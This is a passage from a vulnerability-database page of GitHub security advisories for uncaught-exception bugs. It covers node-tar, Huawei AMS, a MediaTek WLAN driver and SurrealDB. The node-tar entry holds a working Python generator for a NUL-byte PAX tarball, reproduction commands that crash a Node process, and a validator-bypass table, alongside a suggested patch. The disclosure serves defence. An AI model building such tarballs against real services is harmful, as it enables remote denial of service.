Secondary: parser-differential validator bypass (CWE-436)
| Tool | Result for path=visible.txt\x00hidden.txt |
|---|---|
GNU tar (tar -tvf) |
Lists visible.txt (truncated at NUL) |
bsdtar -tvf |
Lists visible.txt (truncated at NUL) |
Python tarfile.list() |
Lists visible.txt\x00hidden.txt (raw) |
node-tar tar.t({file}) |
Emits raw NUL-bearing path (no crash) |
node-tar tar.x({file}) |
Crashes (uncaught throw) |
A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.
Suggested patch
Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:
--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
- const v = kv.join('=')
+ const v = kv.join('=').replace(/\0.*$/, '')
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.
A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.16"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59875"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:51:12Z",
"nvd_published_at": "2026-07-08T16:16:34Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer\u0027s `await/try-catch` around `tar.x()` \u2014 it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink \u2014 `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n const n = parseInt(line, 10)\n if (n !== Buffer.byteLength(line) + 1) return set\n line = line.slice((n + \u0027 \u0027).length)\n const kv = line.split(\u0027=\u0027)\n const r = kv.shift()\n if (!r) return set\n const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n const v = kv.join(\u0027=\u0027) // \u003c-- NO NUL STRIP\n set[k] =\n /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n new Date(Number(v) * 1000)\n : /^[0-9]+$/.test(v) ? +v\n : v // \u003c-- v with NULs lands here\n return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary \u2014 but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink \u2014 `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase \u0027NextFileHasLongPath\u0027:\ncase \u0027OldGnuLongPath\u0027: {\n const ex = this[EX] ?? Object.create(null)\n this[EX] = ex\n ex.path = this[META].replace(/\\0.*/, \u0027\u0027) // \u003c-- NUL strip applied\n break\n}\ncase \u0027NextFileHasLongLinkpath\u0027: {\n const ex = this[EX] || Object.create(null)\n this[EX] = ex\n ex.linkpath = this[META].replace(/\\0.*/, \u0027\u0027) // \u003c-- NUL strip applied\n break\n}\n```\n\nThe `parse.ts` fix is the maintainer\u0027s own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` \u2192 `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash \u2014 listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user\u0027s `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` \u2014 3072 bytes \u2014 PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` \u2014 2560 bytes \u2014 PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` \u2014 minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro \u2014 Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n s = 0\n for i, x in enumerate(b):\n s += 0x20 if 148 \u003c= i \u003c 156 else x\n return s\n\ndef pad512(buf):\n rem = len(buf) % 512\n return buf + b\u0027\\0\u0027 * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b\u0027\u0027, linkpath=b\u0027\u0027):\n b = bytearray(512)\n b[0:len(name[:100])] = name[:100]\n b[100:108] = b\u00270000644\\0\u0027\n b[108:116] = b\u00270001000\\0\u0027\n b[116:124] = b\u00270001000\\0\u0027\n b[124:136] = (\u0027%011o \u0027 % size).encode()\n b[136:148] = (\u0027%011o \u0027 % 0).encode()\n b[148:156] = b\u0027 \u0027\n b[156:157] = typeflag\n b[157:157+len(linkpath[:100])] = linkpath[:100]\n b[257:265] = b\u0027ustar\\x0000\u0027\n b[265:270] = b\u0027root\\0\u0027\n b[297:302] = b\u0027root\\0\u0027\n b[329:337] = b\u00270000000\\0\u0027\n b[337:345] = b\u00270000000\\0\u0027\n b[345:345+len(prefix[:155])] = prefix[:155]\n s = cksum(b)\n b[148:156] = (\u0027%06o\\0 \u0027 % s).encode()\n return bytes(b)\n\ndef pax(records):\n body = b\u0027\u0027\n for k, v in records:\n kv = b\u0027 \u0027 + k + b\u0027=\u0027 + v + b\u0027\\n\u0027\n for digits in range(1, 8):\n total = digits + len(kv)\n if len(str(total)) == digits:\n break\n body += str(total).encode() + kv\n return pad512(hdr(b\u0027PaxHeader/poc\u0027, len(body), b\u0027x\u0027) + body)\n\nout = pax([(b\u0027path\u0027, b\u0027visible.txt\\x00hidden.txt\u0027)]) # NUL in PAX path\nout += hdr(b\u0027placeholder\u0027, 1, b\u00270\u0027)\nout += pad512(b\u0027A\u0027)\nout += b\u0027\\0\u0027 * 1024 # end-of-archive\n\nopen(\u0027poc.tar\u0027, \u0027wb\u0027).write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch \u2014 observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e \u0027\n process.on(\"uncaughtException\", e =\u003e {\n console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n process.exit(99);\n });\n import(\"tar\").then(async tar =\u003e {\n try {\n await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n console.log(\"NORMAL_RETURN\");\n } catch (e) {\n console.log(\"CAUGHT_BY_USER:\", e.code);\n }\n });\u0027\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument \u0027path\u0027 must be a string,\nUint8Array, or URL without null bytes.\nReceived \u0027/.../out/visible.txt\\x00hidden.txt\u0027\nexit: 99\n```\n\nThe exception bypasses the user\u0027s `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n return res.status(400).json({ error: \u0027bad archive\u0027 });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) |\n| `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) |\n| Python `tarfile.list()` | Lists `visible.txt\\x00hidden.txt` (raw) |\n| node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) |\n| node-tar `tar.x({file})` | **Crashes** (uncaught throw) |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` \u2014 strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, \u0027$1\u0027)\n\n- const v = kv.join(\u0027=\u0027)\n+ const v = kv.join(\u0027=\u0027).replace(/\\0.*$/, \u0027\u0027)\n set[k] =\n /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes(\u0027\\0\u0027))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren\u0027t* path/linkpath also can\u0027t smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).",
"id": "GHSA-gvwx-54wh-qm9j",
"modified": "2026-07-20T21:51:12Z",
"published": "2026-07-20T21:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59875"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records"
}
GHSA-H262-6V4R-HFM3
Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30Denial of service (DoS) vulnerability in the AMS module Impact: Successful exploitation of this vulnerability will affect availability.
{
"affected": [],
"aliases": [
"CVE-2024-32995"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T15:37:23Z",
"severity": "MODERATE"
},
"details": "Denial of service (DoS) vulnerability in the AMS module\nImpact: Successful exploitation of this vulnerability will affect availability.",
"id": "GHSA-h262-6v4r-hfm3",
"modified": "2024-05-14T18:30:48Z",
"published": "2024-05-14T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32995"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/5"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/cn/docs/security/update/security-bulletins-phones-202405-0000001902628049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3PQ-WM2X-37WM
Vulnerability from github – Published: 2024-12-02 06:31 – Updated: 2024-12-02 18:31In wlan driver, there is a possible client disconnection due to improper handling of exceptional conditions. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00384543; Issue ID: MSV-1727.
{
"affected": [],
"aliases": [
"CVE-2024-20137"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-02T04:15:06Z",
"severity": "HIGH"
},
"details": "In wlan driver, there is a possible client disconnection due to improper handling of exceptional conditions. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00384543; Issue ID: MSV-1727.",
"id": "GHSA-h3pq-wm2x-37wm",
"modified": "2024-12-02T18:31:55Z",
"published": "2024-12-02T06:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20137"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/December-2024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H4F5-H82V-5W4R
Vulnerability from github – Published: 2024-11-22 20:11 – Updated: 2024-11-22 20:11The rand::time() function in SurrealQL generates a random time from an optional range of two Unix timestamps. Due to the underlying use of timestamp_opt from the chrono crate, this function could potentially return None in some instances, leading to a panic when unwrap was called on its result in order to return a SurrealQL datetime type to the caller of the function.
Impact
A client that is authorized to run queries in a SurrealDB server would be able to make repeated (in the order of millions) calls to rand::time() in order to reliably trigger a panic. This would crash the server, leading to denial of service.
Patches
The function has been updated in to guarantee that some datetime is returned or that an error is otherwise gracefully handled.
- Version 2.1.0 and later are not affected by this issue.
Workarounds
Affected users who are unable to update may want to limit the ability of untrusted clients to run the rand::time() function in the affected versions of SurrealDB using security capabilities. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.
References
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-22T20:11:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The `rand::time()` function in SurrealQL generates a random time from an optional range of two Unix timestamps. Due to the underlying use of `timestamp_opt` from the `chrono` crate, this function could potentially return `None` in some instances, leading to a panic when `unwrap` was called on its result in order to return a SurrealQL `datetime` type to the caller of the function.\n\n### Impact\n\nA client that is authorized to run queries in a SurrealDB server would be able to make repeated (in the order of millions) calls to `rand::time()` in order to reliably trigger a panic. This would crash the server, leading to denial of service.\n\n### Patches\n\nThe function has been updated in to guarantee that some `datetime` is returned or that an error is otherwise gracefully handled.\n\n- Version 2.1.0 and later are not affected by this issue.\n\n### Workarounds\n\nAffected users who are unable to update may want to limit the ability of untrusted clients to run the `rand::time()` function in the affected versions of SurrealDB using security capabilities. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- #5126\n- [SurrealQL Documentation - Database Functions (`rand::time`)](https://surrealdb.com/docs/surrealql/functions/database/rand#randtime)\n- [SurrealDB Documentation - Security Capabilities (Functions)](https://surrealdb.com/docs/surrealdb/security/capabilities#functions)",
"id": "GHSA-h4f5-h82v-5w4r",
"modified": "2024-11-22T20:11:38Z",
"published": "2024-11-22T20:11:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-h4f5-h82v-5w4r"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/pull/5126"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "SurrealDB has an Uncaught Exception in Function Generating Random Time"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.